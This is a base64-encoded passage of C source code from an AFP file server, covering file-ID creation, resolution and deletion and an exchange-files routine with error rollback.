b3RvIGRlbGV0ZV91bmxvY2s7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBp
ZiAoIHVubGluayggZmlsZSApIDwgMCApIHsNCiAgICAgICAgc3dpdGNoICgg
ZXJybm8gKSB7DQogICAgICAgIGNhc2UgRVBFUk06DQogICAgICAgIGNhc2Ug
RUFDQ0VTIDoNCiAgICAgICAgICAgIGVyciA9IEFGUEVSUl9BQ0NFU1M7DQog
ICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSBFUk9GUzoNCiAgICAg
ICAgICAgIGVyciA9IEFGUEVSUl9WTE9DSzsNCiAgICAgICAgICAgIGJyZWFr
Ow0KICAgICAgICBjYXNlIEVOT0VOVCA6DQogICAgICAgICAgICBicmVhazsN
CiAgICAgICAgZGVmYXVsdCA6DQogICAgICAgICAgICBlcnIgPSBBRlBFUlJf
UEFSQU07DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgfQ0KICAgIH0N
Cg0KZGVsZXRlX3VubG9jazoNCiAgICBpZiAoYWRmbGFncyAmIEFERkxBR1Nf
SEYpDQogICAgICAgIGFkX3RtcGxvY2soJmFkLCBBREVJRF9SRk9SSywgQURM
T0NLX0NMUiwgMCwgMCk7DQogICAgYWRfdG1wbG9jaygmYWQsIEFERUlEX0RG
T1JLLCBBRExPQ0tfQ0xSLCAwLCAwKTsNCiAgICBhZF9jbG9zZSggJmFkLCBh
ZGZsYWdzICk7DQoNCiNpZmRlZiBERUJVRw0KICAgIHN5c2xvZyhMT0dfSU5G
TywgImVuZCBkZWxldGVmaWxlOiIpOw0KI2VuZGlmIC8qIERFQlVHICovDQoN
CiAgICByZXR1cm4gZXJyOw0KfQ0KDQoNCiNpZmRlZiBDTklEX0RCDQovKiBy
ZXR1cm4gYSBmaWxlIGlkICovDQppbnQgYWZwX2NyZWF0ZWlkKG9iaiwgaWJ1
ZiwgaWJ1ZmxlbiwgcmJ1ZiwgcmJ1ZmxlbiApDQpBRlBPYmogICAgICAqb2Jq
Ow0KY2hhcgkqaWJ1ZiwgKnJidWY7DQppbnQJCWlidWZsZW4sICpyYnVmbGVu
Ow0Kew0KICAgIHN0cnVjdCBzdGF0ICAgICAgICAgc3Q7DQogICAgc3RydWN0
IGFkb3VibGUJYWQ7DQogICAgc3RydWN0IHZvbAkJKnZvbDsNCiAgICBzdHJ1
Y3QgZGlyCQkqZGlyOw0KICAgIGNoYXIJCSpwYXRoLCAqdXBhdGg7DQogICAg
aW50ICAgICAgICAgICAgICAgICBsZW47DQogICAgY25pZF90CQlkaWQsIGlk
Ow0KICAgIHVfc2hvcnQJCXZpZDsNCg0KI2lmZGVmIERFQlVHDQogICAgc3lz
bG9nKExPR19JTkZPLCAiYmVnaW4gYWZwX2NyZWF0ZWlkOiIpOw0KI2VuZGlm
IC8qIERFQlVHICovDQoNCiAgICAqcmJ1ZmxlbiA9IDA7DQogICAgaWJ1ZiAr
PSAyOw0KDQogICAgbWVtY3B5KCZ2aWQsIGlidWYsIHNpemVvZih2aWQpKTsN
CiAgICBpYnVmICs9IHNpemVvZih2aWQpOw0KDQogICAgaWYgKCggdm9sID0g
Z2V0dm9sYnl2aWQoIHZpZCApKSA9PSBOVUxMICkgew0KICAgICAgICByZXR1
cm4oIEFGUEVSUl9QQVJBTSk7DQogICAgfQ0KDQogICAgaWYgKHZvbC0+dl9m
bGFncyAmIEFGUFZPTF9STykNCiAgICAgICAgcmV0dXJuIEFGUEVSUl9WTE9D
SzsNCg0KICAgIG1lbWNweSgmZGlkLCBpYnVmLCBzaXplb2YoIGRpZCApKTsN
CiAgICBpYnVmICs9IHNpemVvZihkaWQpOw0KDQogICAgaWYgKCggZGlyID0g
ZGlyc2VhcmNoKCB2b2wsIGRpZCApKSA9PSBOVUxMICkgew0KICAgICAgICBy
ZXR1cm4oIEFGUEVSUl9QQVJBTSApOw0KICAgIH0NCg0KICAgIGlmICgoIHBh
dGggPSBjbmFtZSggdm9sLCBkaXIsICZpYnVmICkpID09IE5VTEwgKSB7DQog
ICAgICAgIHJldHVybiggQUZQRVJSX1BBUkFNICk7DQogICAgfQ0KDQogICAg
aWYgKCAqcGF0aCA9PSAnXDAnICkgew0KICAgICAgICByZXR1cm4oIEFGUEVS
Ul9CQURUWVBFICk7DQogICAgfQ0KDQogICAgdXBhdGggPSBtdG91cGF0aCh2
b2wsIHBhdGgpOw0KICAgIGlmIChzdGF0KHVwYXRoLCAmc3QpIDwgMCkgew0K
ICAgICAgICBzd2l0Y2ggKGVycm5vKSB7DQogICAgICAgIGNhc2UgRVBFUk06
DQogICAgICAgIGNhc2UgRUFDQ0VTOg0KICAgICAgICAgICAgcmV0dXJuIEFG
UEVSUl9BQ0NFU1M7DQogICAgICAgIGNhc2UgRU5PRU5UOg0KICAgICAgICAg
ICAgcmV0dXJuIEFGUEVSUl9OT09CSjsNCiAgICAgICAgZGVmYXVsdDoNCiAg
ICAgICAgICAgIHJldHVybiBBRlBFUlJfUEFSQU07DQogICAgICAgIH0NCiAg
ICB9DQoNCiAgICBpZiAoaWQgPSBjbmlkX2xvb2t1cCh2b2wtPnZfZGIsICZz
dCwgZGlkLCB1cGF0aCwgbGVuID0gc3RybGVuKHVwYXRoKSkpIHsNCiAgICAg
ICAgbWVtY3B5KHJidWYsICZpZCwgc2l6ZW9mKGlkKSk7DQogICAgICAgICpy
YnVmbGVuID0gc2l6ZW9mKGlkKTsNCiAgICAgICAgcmV0dXJuIEFGUEVSUl9F
WElTVElEOw0KICAgIH0NCg0KI2lmIEFEX1ZFUlNJT04gPiBBRF9WRVJTSU9O
MQ0KICAgIG1lbXNldCgmYWQsIDAsIHNpemVvZihhZCkpOw0KICAgIGlmIChh
ZF9vcGVuKCB1cGF0aCwgQURGTEFHU19IRiwgT19SRE9OTFksIDAsICZhZCAp
ID49IDApIHsNCiAgICAgICAgbWVtY3B5KCZpZCwgYWRfZW50cnkoJmFkLCBB
REVJRF9ESUQpLCBzaXplb2YoaWQpKTsNCiAgICAgICAgYWRfY2xvc2UoJmFk
LCBBREZMQUdTX0hGKTsNCiAgICB9DQojZW5kaWYgLyogQURfVkVSU0lPTiA+
IEFEX1ZFUlNJT04xICovDQoNCiAgICBpZiAoaWQgPSBjbmlkX2FkZCh2b2wt
PnZfZGIsICZzdCwgZGlkLCB1cGF0aCwgbGVuLCBpZCkpIHsNCiAgICAgICAg
bWVtY3B5KHJidWYsICZpZCwgc2l6ZW9mKGlkKSk7DQogICAgICAgICpyYnVm
bGVuID0gc2l6ZW9mKGlkKTsNCiAgICAgICAgcmV0dXJuIEFGUF9PSzsNCiAg
ICB9DQoNCiNpZmRlZiBERUJVRw0KICAgIHN5c2xvZyhMT0dfSU5GTywgImVu
ZGluZyBhZnBfY3JlYXRlaWQuLi46Iik7DQojZW5kaWYgLyogREVCVUcgKi8N
Cg0KICAgIHN3aXRjaCAoZXJybm8pIHsNCiAgICBjYXNlIEVST0ZTOg0KICAg
ICAgICByZXR1cm4gQUZQRVJSX1ZMT0NLOw0KICAgICAgICBicmVhazsNCiAg
ICBjYXNlIEVQRVJNOg0KICAgIGNhc2UgRUFDQ0VTOg0KICAgICAgICByZXR1
cm4gQUZQRVJSX0FDQ0VTUzsNCiAgICAgICAgYnJlYWs7DQogICAgZGVmYXVs
dDoNCiAgICAgICAgc3lzbG9nKExPR19FUlIsICJhZnBfY3JlYXRlaWQ6IGNu
aWRfYWRkOiAlbSIpOw0KICAgICAgICByZXR1cm4gQUZQRVJSX1BBUkFNOw0K
ICAgIH0NCn0NCg0KLyogcmVzb2x2ZSBhIGZpbGUgaWQgKi8NCmludCBhZnBf
cmVzb2x2ZWlkKG9iaiwgaWJ1ZiwgaWJ1ZmxlbiwgcmJ1ZiwgcmJ1ZmxlbiAp
DQpBRlBPYmogICAgICAqb2JqOw0KY2hhcgkqaWJ1ZiwgKnJidWY7DQppbnQJ
CWlidWZsZW4sICpyYnVmbGVuOw0Kew0KICAgIHN0cnVjdCBzdGF0ICAgICAg
ICAgc3Q7DQogICAgc3RydWN0IHZvbAkJKnZvbDsNCiAgICBzdHJ1Y3QgZGly
CQkqZGlyOw0KICAgIGNoYXIJCSp1cGF0aDsNCiAgICBpbnQgICAgICAgICAg
ICAgICAgIGVyciwgYnVmbGVuOw0KICAgIGNuaWRfdAkJaWQ7DQogICAgdV9p
bnQxNl90CQl2aWQsIGJpdG1hcDsNCg0KI2lmZGVmIERFQlVHDQogICAgc3lz
bG9nKExPR19JTkZPLCAiYmVnaW4gYWZwX3Jlc29sdmVpZDoiKTsNCiNlbmRp
ZiAvKiBERUJVRyAqLw0KDQogICAgKnJidWZsZW4gPSAwOw0KICAgIGlidWYg
Kz0gMjsNCg0KICAgIG1lbWNweSgmdmlkLCBpYnVmLCBzaXplb2YodmlkKSk7
DQogICAgaWJ1ZiArPSBzaXplb2YodmlkKTsNCg0KICAgIGlmICgoIHZvbCA9
IGdldHZvbGJ5dmlkKCB2aWQgKSkgPT0gTlVMTCApIHsNCiAgICAgICAgcmV0
dXJuKCBBRlBFUlJfUEFSQU0pOw0KICAgIH0NCg0KICAgIG1lbWNweSgmaWQs
IGlidWYsIHNpemVvZiggaWQgKSk7DQogICAgaWJ1ZiArPSBzaXplb2YoaWQp
Ow0KDQogICAgaWYgKCh1cGF0aCA9IGNuaWRfcmVzb2x2ZSh2b2wtPnZfZGIs
ICZpZCkpID09IE5VTEwpIHsNCiAgICAgICAgcmV0dXJuIEFGUEVSUl9CQURJ
RDsNCiAgICB9DQoNCiAgICBpZiAoKCBkaXIgPSBkaXJzZWFyY2goIHZvbCwg
aWQgKSkgPT0gTlVMTCApIHsNCiAgICAgICAgcmV0dXJuKCBBRlBFUlJfUEFS
QU0gKTsNCiAgICB9DQoNCiAgICBpZiAoKG1vdmVjd2Qodm9sLCBkaXIpIDwg
MCkgfHwgKHN0YXQodXBhdGgsICZzdCkgPCAwKSkgew0KICAgICAgICBzd2l0
Y2ggKGVycm5vKSB7DQogICAgICAgIGNhc2UgRUFDQ0VTOg0KICAgICAgICBj
YXNlIEVQRVJNOg0KICAgICAgICAgICAgcmV0dXJuIEFGUEVSUl9BQ0NFU1M7
DQogICAgICAgIGNhc2UgRU5PRU5UOg0KICAgICAgICAgICAgcmV0dXJuIEFG
UEVSUl9OT0lEOw0KICAgICAgICBkZWZhdWx0Og0KICAgICAgICAgICAgcmV0
dXJuIEFGUEVSUl9QQVJBTTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8q
IGRpcmVjdG9yaWVzIGFyZSBiYWQgKi8NCiAgICBpZiAoU19JU0RJUihzdC5z
dF9tb2RlKSkNCiAgICAgICAgcmV0dXJuIEFGUEVSUl9CQURUWVBFOw0KDQog
ICAgbWVtY3B5KCZiaXRtYXAsIGlidWYsIHNpemVvZihiaXRtYXApKTsNCiAg
ICBiaXRtYXAgPSBudG9ocyggYml0bWFwICk7DQoNCiAgICBpZiAoKGVyciA9
IGdldGZpbHBhcmFtcyh2b2wsIGJpdG1hcCwgdXRvbXBhdGgodm9sLCB1cGF0
aCksIGN1cmRpciwgJnN0LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAg
IHJidWYgKyBzaXplb2YoYml0bWFwKSwgJmJ1ZmxlbikpICE9IEFGUF9PSykN
CiAgICAgICAgcmV0dXJuIGVycjsNCg0KICAgICpyYnVmbGVuID0gYnVmbGVu
ICsgc2l6ZW9mKGJpdG1hcCk7DQogICAgbWVtY3B5KHJidWYsIGlidWYsIHNp
emVvZihiaXRtYXApKTsNCg0KI2lmZGVmIERFQlVHDQogICAgc3lzbG9nKExP
R19JTkZPLCAiZW5kIGFmcF9yZXNvbHZlaWQ6Iik7DQojZW5kaWYgLyogREVC
VUcgKi8NCg0KICAgIHJldHVybiBBRlBfT0s7DQp9DQoNCmludCBhZnBfZGVs
ZXRlaWQob2JqLCBpYnVmLCBpYnVmbGVuLCByYnVmLCByYnVmbGVuICkNCkFG
UE9iaiAgICAgICpvYmo7DQpjaGFyCSppYnVmLCAqcmJ1ZjsNCmludAkJaWJ1
ZmxlbiwgKnJidWZsZW47DQp7DQogICAgc3RydWN0IHN0YXQgICAgICAgICBz
dDsNCiAgICBzdHJ1Y3Qgdm9sCQkqdm9sOw0KICAgIHN0cnVjdCBkaXIJCSpk
aXI7DQogICAgY2hhciAgICAgICAgICAgICAgICAqdXBhdGg7DQogICAgaW50
ICAgICAgICAgICAgICAgICBlcnI7DQogICAgY25pZF90CQlpZDsNCiAgICB1
X3Nob3J0CQl2aWQ7DQoNCiNpZmRlZiBERUJVRw0KICAgIHN5c2xvZyhMT0df
SU5GTywgImJlZ2luIGFmcF9kZWxldGVpZDoiKTsNCiNlbmRpZiAvKiBERUJV
RyAqLw0KDQogICAgKnJidWZsZW4gPSAwOw0KICAgIGlidWYgKz0gMjsNCg0K
ICAgIG1lbWNweSgmdmlkLCBpYnVmLCBzaXplb2YodmlkKSk7DQogICAgaWJ1
ZiArPSBzaXplb2YodmlkKTsNCg0KICAgIGlmICgoIHZvbCA9IGdldHZvbGJ5
dmlkKCB2aWQgKSkgPT0gTlVMTCApIHsNCiAgICAgICAgcmV0dXJuKCBBRlBF
UlJfUEFSQU0pOw0KICAgIH0NCg0KICAgIGlmICh2b2wtPnZfZmxhZ3MgJiBB
RlBWT0xfUk8pDQogICAgICAgIHJldHVybiBBRlBFUlJfVkxPQ0s7DQoNCiAg
ICBtZW1jcHkoJmlkLCBpYnVmLCBzaXplb2YoIGlkICkpOw0KICAgIGlidWYg
Kz0gc2l6ZW9mKGlkKTsNCg0KICAgIGlmICgodXBhdGggPSBjbmlkX3Jlc29s
dmUodm9sLT52X2RiLCAmaWQpKSA9PSBOVUxMKSB7DQogICAgICAgIHJldHVy
biBBRlBFUlJfTk9JRDsNCiAgICB9DQoNCiAgICBpZiAoKCBkaXIgPSBkaXJz
ZWFyY2goIHZvbCwgaWQgKSkgPT0gTlVMTCApIHsNCiAgICAgICAgcmV0dXJu
KCBBRlBFUlJfUEFSQU0gKTsNCiAgICB9DQoNCiAgICBlcnIgPSBBRlBfT0s7
DQogICAgaWYgKChtb3ZlY3dkKHZvbCwgZGlyKSA8IDApIHx8IChzdGF0KHVw
YXRoLCAmc3QpIDwgMCkpIHsNCiAgICAgICAgc3dpdGNoIChlcnJubykgew0K
ICAgICAgICBjYXNlIEVBQ0NFUzoNCiAgICAgICAgY2FzZSBFUEVSTToNCiAg
ICAgICAgICAgIHJldHVybiBBRlBFUlJfQUNDRVNTOw0KICAgICAgICBjYXNl
IEVOT0VOVDoNCiAgICAgICAgICAgIC8qIHN0aWxsIHRyeSB0byBkZWxldGUg
dGhlIGlkICovDQogICAgICAgICAgICBlcnIgPSBBRlBFUlJfTk9PQko7DQog
ICAgICAgICAgICBicmVhazsNCiAgICAgICAgZGVmYXVsdDoNCiAgICAgICAg
ICAgIHJldHVybiBBRlBFUlJfUEFSQU07DQogICAgICAgIH0NCiAgICB9DQoN
CiAgICAvKiBkaXJlY3RvcmllcyBhcmUgYmFkICovDQogICAgaWYgKFNfSVNE
SVIoc3Quc3RfbW9kZSkpDQogICAgICAgIHJldHVybiBBRlBFUlJfQkFEVFlQ
RTsNCg0KICAgIGlmIChjbmlkX2RlbGV0ZSh2b2wtPnZfZGIsIGlkKSkgew0K
ICAgICAgICBzd2l0Y2ggKGVycm5vKSB7DQogICAgICAgIGNhc2UgRVJPRlM6
DQogICAgICAgICAgICByZXR1cm4gQUZQRVJSX1ZMT0NLOw0KICAgICAgICBj
YXNlIEVQRVJNOg0KICAgICAgICBjYXNlIEVBQ0NFUzoNCiAgICAgICAgICAg
IHJldHVybiBBRlBFUlJfQUNDRVNTOw0KICAgICAgICBkZWZhdWx0Og0KICAg
ICAgICAgICAgcmV0dXJuIEFGUEVSUl9QQVJBTTsNCiAgICAgICAgfQ0KICAg
IH0NCg0KI2lmZGVmIERFQlVHDQogICAgc3lzbG9nKExPR19JTkZPLCAiZW5k
IGFmcF9kZWxldGVpZDoiKTsNCiNlbmRpZiAvKiBERUJVRyAqLw0KDQogICAg
cmV0dXJuIGVycjsNCn0NCiNlbmRpZiAvKiBDTklEX0RCICovDQoNCiNkZWZp
bmUgQVBQTEVURU1QICIuQXBwbGVUZW1wWFhYWFhYIg0KDQppbnQgYWZwX2V4
Y2hhbmdlZmlsZXMob2JqLCBpYnVmLCBpYnVmbGVuLCByYnVmLCByYnVmbGVu
ICkNCkFGUE9iaiAgICAgICpvYmo7DQpjaGFyCSppYnVmLCAqcmJ1ZjsNCmlu
dAkJaWJ1ZmxlbiwgKnJidWZsZW47DQp7DQogICAgc3RydWN0IHN0YXQgICAg
ICAgICBzcmNzdCwgZGVzdHN0Ow0KICAgIHN0cnVjdCB2b2wJCSp2b2w7DQog
ICAgc3RydWN0IGRpcgkJKmRpciwgKnNkaXI7DQogICAgY2hhcgkJKnNwYXRo
LCB0ZW1wWzE3XSwgKnBhdGgsICpwOw0KICAgIGNoYXIgICAgICAgICAgICAg
ICAgKnN1cGF0aCwgKnVwYXRoOw0KICAgIGludCAgICAgICAgICAgICAgICAg
ZXJyOw0KI2lmZGVmIENOSURfREINCiAgICBpbnQgICAgICAgICAgICAgICAg
IHNsZW4sIGRsZW47DQojZW5kaWYgLyogQ05JRF9EQiAqLw0KICAgIHVfaW50
MzJfdAkJc2lkLCBkaWQ7DQogICAgdV9pbnQxNl90CQl2aWQ7DQoNCiNpZmRl
ZiBERUJVRw0KICAgIHN5c2xvZyhMT0dfSU5GTywgImJlZ2luIGFmcF9leGNo
YW5nZWZpbGVzOiIpOw0KI2VuZGlmIC8qIERFQlVHICovDQoNCiAgICAqcmJ1
ZmxlbiA9IDA7DQogICAgaWJ1ZiArPSAyOw0KDQogICAgbWVtY3B5KCZ2aWQs
IGlidWYsIHNpemVvZih2aWQpKTsNCiAgICBpYnVmICs9IHNpemVvZih2aWQp
Ow0KDQogICAgaWYgKCggdm9sID0gZ2V0dm9sYnl2aWQoIHZpZCApKSA9PSBO
VUxMICkgew0KICAgICAgICByZXR1cm4oIEFGUEVSUl9QQVJBTSk7DQogICAg
fQ0KDQogICAgaWYgKHZvbC0+dl9mbGFncyAmIEFGUFZPTF9STykNCiAgICAg
ICAgcmV0dXJuIEFGUEVSUl9WTE9DSzsNCg0KICAgIC8qIHNvdXJjZSBhbmQg
ZGVzdGluYXRpb24gZGlkcyAqLw0KICAgIG1lbWNweSgmc2lkLCBpYnVmLCBz
aXplb2Yoc2lkKSk7DQogICAgaWJ1ZiArPSBzaXplb2Yoc2lkKTsNCiAgICBt
ZW1jcHkoJmRpZCwgaWJ1Ziwgc2l6ZW9mKGRpZCkpOw0KICAgIGlidWYgKz0g
c2l6ZW9mKGRpZCk7DQoNCiAgICAvKiBzb3VyY2UgZmlsZSAqLw0KICAgIGlm
ICgoZGlyID0gZGlyc2VhcmNoKCB2b2wsIHNpZCApKSA9PSBOVUxMICkgew0K
ICAgICAgICByZXR1cm4oIEFGUEVSUl9QQVJBTSApOw0KICAgIH0NCg0KICAg
IGlmICgoIHBhdGggPSBjbmFtZSggdm9sLCBkaXIsICZpYnVmICkpID09IE5V
TEwgKSB7DQogICAgICAgIHJldHVybiggQUZQRVJSX1BBUkFNICk7DQogICAg
fQ0KDQogICAgaWYgKCAqcGF0aCA9PSAnXDAnICkgew0KICAgICAgICByZXR1
cm4oIEFGUEVSUl9CQURUWVBFICk7DQogICAgfQ0KDQogICAgdXBhdGggPSBt
dG91cGF0aCh2b2wsIHBhdGgpOw0KICAgIGlmIChzdGF0KHVwYXRoLCAmc3Jj
c3QpIDwgMCkgew0KICAgICAgICBzd2l0Y2ggKGVycm5vKSB7DQogICAgICAg
IGNhc2UgRU5PRU5UOg0KICAgICAgICAgICAgcmV0dXJuIEFGUEVSUl9OT0lE
Ow0KICAgICAgICBjYXNlIEVQRVJNOg0KICAgICAgICBjYXNlIEVBQ0NFUzoN
CiAgICAgICAgICAgIHJldHVybiBBRlBFUlJfQUNDRVNTOw0KICAgICAgICBk
ZWZhdWx0Og0KICAgICAgICAgICAgcmV0dXJuIEFGUEVSUl9QQVJBTTsNCiAg
ICAgICAgfQ0KICAgIH0NCg0KICAgIC8qIHNhdmUgc29tZSBzdHVmZiAqLw0K
ICAgIHNkaXIgPSBjdXJkaXI7DQogICAgc3BhdGggPSBvYmotPm9sZHRtcDsN
CiAgICBzdXBhdGggPSBvYmotPm5ld3RtcDsNCiAgICBzdHJjcHkoc3BhdGgs
IHBhdGgpOw0KICAgIHN0cmNweShzdXBhdGgsIHVwYXRoKTsgLyogdGhpcyBp
cyBmb3IgdGhlIGNuaWQgY2hhbmdpbmcgKi8NCiAgICBwID0gY3RvdXBhdGgo
IHZvbCwgc2Rpciwgc3BhdGgpOw0KDQogICAgLyogbG9vayBmb3IgdGhlIHNv
dXJjZSBjbmlkLiBpZiBpdCBkb2Vzbid0IGV4aXN0LCBkb24ndCB3b3JyeSBh
Ym91dA0KICAgICAqIGl0LiAqLw0KI2lmZGVmIENOSURfREINCiAgICBzaWQg
PSBjbmlkX2xvb2t1cCh2b2wtPnZfZGIsICZzcmNzdCwgc2Rpci0+ZF9kaWQs
IHN1cGF0aCwNCiAgICAgICAgICAgICAgICAgICAgICBzbGVuID0gc3RybGVu
KHN1cGF0aCkpOw0KI2VuZGlmIC8qIENOSURfREIgKi8NCg0KICAgIGlmICgo
IGRpciA9IGRpcnNlYXJjaCggdm9sLCBkaWQgKSkgPT0gTlVMTCApIHsNCiAg
ICAgICAgcmV0dXJuKCBBRlBFUlJfUEFSQU0gKTsNCiAgICB9DQoNCiAgICBp
ZiAoKCBwYXRoID0gY25hbWUoIHZvbCwgZGlyLCAmaWJ1ZiApKSA9PSBOVUxM
ICkgew0KICAgICAgICByZXR1cm4oIEFGUEVSUl9QQVJBTSApOw0KICAgIH0N
Cg0KICAgIGlmICggKnBhdGggPT0gJ1wwJyApIHsNCiAgICAgICAgcmV0dXJu
KCBBRlBFUlJfQkFEVFlQRSApOw0KICAgIH0NCg0KICAgIC8qIEZQRXhjaGFu
Z2VGaWxlcyBpcyB0aGUgb25seSBjYWxsIHRoYXQgY2FuIHJldHVybiB0aGUg
U2FtZU9iag0KICAgICAqIGVycm9yICovDQogICAgaWYgKChjdXJkaXIgPT0g
c2RpcikgJiYgc3RyY21wKHNwYXRoLCBwYXRoKSA9PSAwKQ0KICAgICAgICBy
ZXR1cm4gQUZQRVJSX1NBTUVPQko7DQoNCiAgICB1cGF0aCA9IG10b3VwYXRo
KHZvbCwgcGF0aCk7DQogICAgaWYgKHN0YXQodXBhdGgsICZkZXN0c3QpIDwg
MCkgew0KICAgICAgICBzd2l0Y2ggKGVycm5vKSB7DQogICAgICAgIGNhc2Ug
RU5PRU5UOg0KICAgICAgICAgICAgcmV0dXJuIEFGUEVSUl9OT0lEOw0KICAg
ICAgICBjYXNlIEVQRVJNOg0KICAgICAgICBjYXNlIEVBQ0NFUzoNCiAgICAg
ICAgICAgIHJldHVybiBBRlBFUlJfQUNDRVNTOw0KICAgICAgICBkZWZhdWx0
Og0KICAgICAgICAgICAgcmV0dXJuIEFGUEVSUl9QQVJBTTsNCiAgICAgICAg
fQ0KICAgIH0NCg0KI2lmZGVmIENOSURfREINCiAgICAvKiBsb29rIGZvciBk
ZXN0aW5hdGlvbiBpZC4gKi8NCiAgICBkaWQgPSBjbmlkX2xvb2t1cCh2b2wt
PnZfZGIsICZkZXN0c3QsIGN1cmRpci0+ZF9kaWQsIHVwYXRoLA0KICAgICAg
ICAgICAgICAgICAgICAgIGRsZW4gPSBzdHJsZW4odXBhdGgpKTsNCiNlbmRp
ZiAvKiBDTklEX0RCICovDQoNCiAgICAvKiBjb25zdHJ1Y3QgYSB0ZW1wIG5h
bWUuDQogICAgICogTk9URTogdGhlIHRlbXAgZmlsZSB3aWxsIGJlIGluIHRo
ZSBkZXN0IGZpbGUncyBkaXJlY3RvcnkuIGl0DQogICAgICogd2lsbCBhbHNv
IGJlIGluYWNjZXNzaWJsZSBmcm9tIEFGUC4gKi8NCiAgICBtZW1jcHkodGVt
cCwgQVBQTEVURU1QLCBzaXplb2YoQVBQTEVURU1QKSk7DQogICAgaWYgKCFt
a3RlbXAodGVtcCkpDQogICAgICAgIHJldHVybiBBRlBFUlJfTUlTQzsNCg0K
ICAgIC8qIG5vdywgcXVpY2tseSByZW5hbWUgdGhlIGZpbGUuIHdlIGVycm9y
IGlmIHdlIGNhbid0LiAqLw0KICAgIGlmICgoZXJyID0gcmVuYW1lZmlsZShw
LCB0ZW1wLCB0ZW1wLCB2b2xfbm9hZG91YmxlKHZvbCkpKSA8IDApDQogICAg
ICAgIGdvdG8gZXJyX2V4Y2hhbmdlZmlsZTsNCiAgICBvZl9yZW5hbWUodm9s
LCBzZGlyLCBzcGF0aCwgY3VyZGlyLCB0ZW1wKTsNCg0KICAgIC8qIHJlbmFt
ZSBkZXN0aW5hdGlvbiB0byBzb3VyY2UgKi8NCiAgICBpZiAoKGVyciA9IHJl
bmFtZWZpbGUocGF0aCwgcCwgc3BhdGgsIHZvbF9ub2Fkb3VibGUodm9sKSkp
IDwgMCkNCiAgICAgICAgZ290byBlcnJfc3JjX3RvX3RtcDsNCiAgICBvZl9y
ZW5hbWUodm9sLCBjdXJkaXIsIHBhdGgsIHNkaXIsIHNwYXRoKTsNCg0KICAg
IC8qIHJlbmFtZSB0ZW1wIHRvIGRlc3RpbmF0aW9uICovDQogICAgaWYgKChl
cnIgPSByZW5hbWVmaWxlKHRlbXAsIHVwYXRoLCBwYXRoLCB2b2xfbm9hZG91
YmxlKHZvbCkpKSA8IDApDQogICAgICAgIGdvdG8gZXJyX2Rlc3RfdG9fc3Jj
Ow0KICAgIG9mX3JlbmFtZSh2b2wsIGN1cmRpciwgdGVtcCwgY3VyZGlyLCBw
YXRoKTsNCg0KI2lmZGVmIENOSURfREINCiAgICAvKiBpZCdzIG5lZWQgc3dp
dGNoaW5nLiBzcmMgLT4gZGVzdCBhbmQgZGVzdCAtPiBzcmMuICovDQogICAg
aWYgKHNpZCAmJiAoY25pZF91cGRhdGUodm9sLT52X2RiLCBzaWQsICZkZXN0
c3QsIGN1cmRpci0+ZF9kaWQsDQogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgdXBhdGgsIGRsZW4pIDwgMCkpIHsNCiAgICAgICAgc3dpdGNoIChlcnJu
bykgew0KICAgICAgICBjYXNlIEVQRVJNOg0KICAgICAgICBjYXNlIEVBQ0NF
UzoNCiAgICAgICAgICAgIGVyciA9IEFGUEVSUl9BQ0NFU1M7DQogICAgICAg
IGRlZmF1bHQ6DQogICAgICAgICAgICBlcnIgPSBBRlBFUlJfUEFSQU07DQog
ICAgICAgIH0NCiAgICAgICAgZ290byBlcnJfdGVtcF90b19kZXN0Ow0KICAg
IH0NCg0KICAgIGlmIChkaWQgJiYgKGNuaWRfdXBkYXRlKHZvbC0+dl9kYiwg
ZGlkLCAmc3Jjc3QsIHNkaXItPmRfZGlkLA0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIHN1cGF0aCwgc2xlbikgPCAwKSkgew0KICAgICAgICBzd2l0
Y2ggKGVycm5vKSB7DQogICAgICAgIGNhc2UgRVBFUk06DQogICAgICAgIGNh
c2UgRUFDQ0VTOg0KICAgICAgICAgICAgZXJyID0gQUZQRVJSX0FDQ0VTUzsN
CiAgICAgICAgZGVmYXVsdDoNCiAgICAgICAgICAgIGVyciA9IEFGUEVSUl9Q
QVJBTTsNCiAgICAgICAgfQ0KDQogICAgICAgIGlmIChzaWQpDQogICAgICAg
ICAgICBjbmlkX3VwZGF0ZSh2b2wtPnZfZGIsIHNpZCwgJnNyY3N0LCBzZGly
LT5kX2RpZCwgc3VwYXRoLCBzbGVuKTsNCiAgICAgICAgZ290byBlcnJfdGVt
cF90b19kZXN0Ow0KICAgIH0NCiNlbmRpZiAvKiBDTklEX0RCICovDQoNCiNp
ZmRlZiBERUJVRw0KICAgIHN5c2xvZyhMT0dfSU5GTywgImVuZGluZyBhZnBf
ZXhjaGFuZ2VmaWxlczoiKTsNCiNlbmRpZiAvKiBERUJVRyAqLw0KDQogICAg
cmV0dXJuIEFGUF9PSzsNCg0KDQogICAgLyogYWxsIHRoaXMgc3R1ZmYgaXMg
c28gdGhhdCB3ZSBjYW4gdW53aW5kIGEgZmFpbGVkIG9wZXJhdGlvbg0KICAg
ICAqIHByb3Blcmx5LiAqLw0KZXJyX3RlbXBfdG9fZGVzdDoNCiAgICAvKiBy
ZW5hbWUgZGVzdCB0byB0ZW1wICovDQogICAgcmVuYW1lZmlsZSh1cGF0aCwg
dGVtcCwgdGVtcCwgdm9sX25vYWRvdWJsZSh2b2wpKTsNCiAgICBvZl9yZW5h
bWUodm9sLCBjdXJkaXIsIHVwYXRoLCBjdXJkaXIsIHRlbXApOw0KDQplcnJf
ZGVzdF90b19zcmM6DQogICAgLyogcmVuYW1lIHNvdXJjZSBiYWNrIHRvIGRl
c3QgKi8NCiAgICByZW5hbWVmaWxlKHAsIHVwYXRoLCBwYXRoLCB2b2xfbm9h
ZG91YmxlKHZvbCkpOw0KICAgIG9mX3JlbmFtZSh2b2wsIHNkaXIsIHNwYXRo
LCBjdXJkaXIsIHBhdGgpOw0KDQplcnJfc3JjX3RvX3RtcDoNCiAgICAvKiBy
ZW5hbWUgdGVtcCBiYWNrIHRvIHNvdXJjZSAqLw0KICAgIHJlbmFtZWZpbGUo
dGVtcCwgcCwgc3BhdGgsIHZvbF9ub2Fkb3VibGUodm9sKSk7DQogICAgb2Zf
cmVuYW1lKHZvbCwgY3VyZGlyLCB0ZW1wLCBzZGlyLCBzcGF0aCk7DQoNCmVy
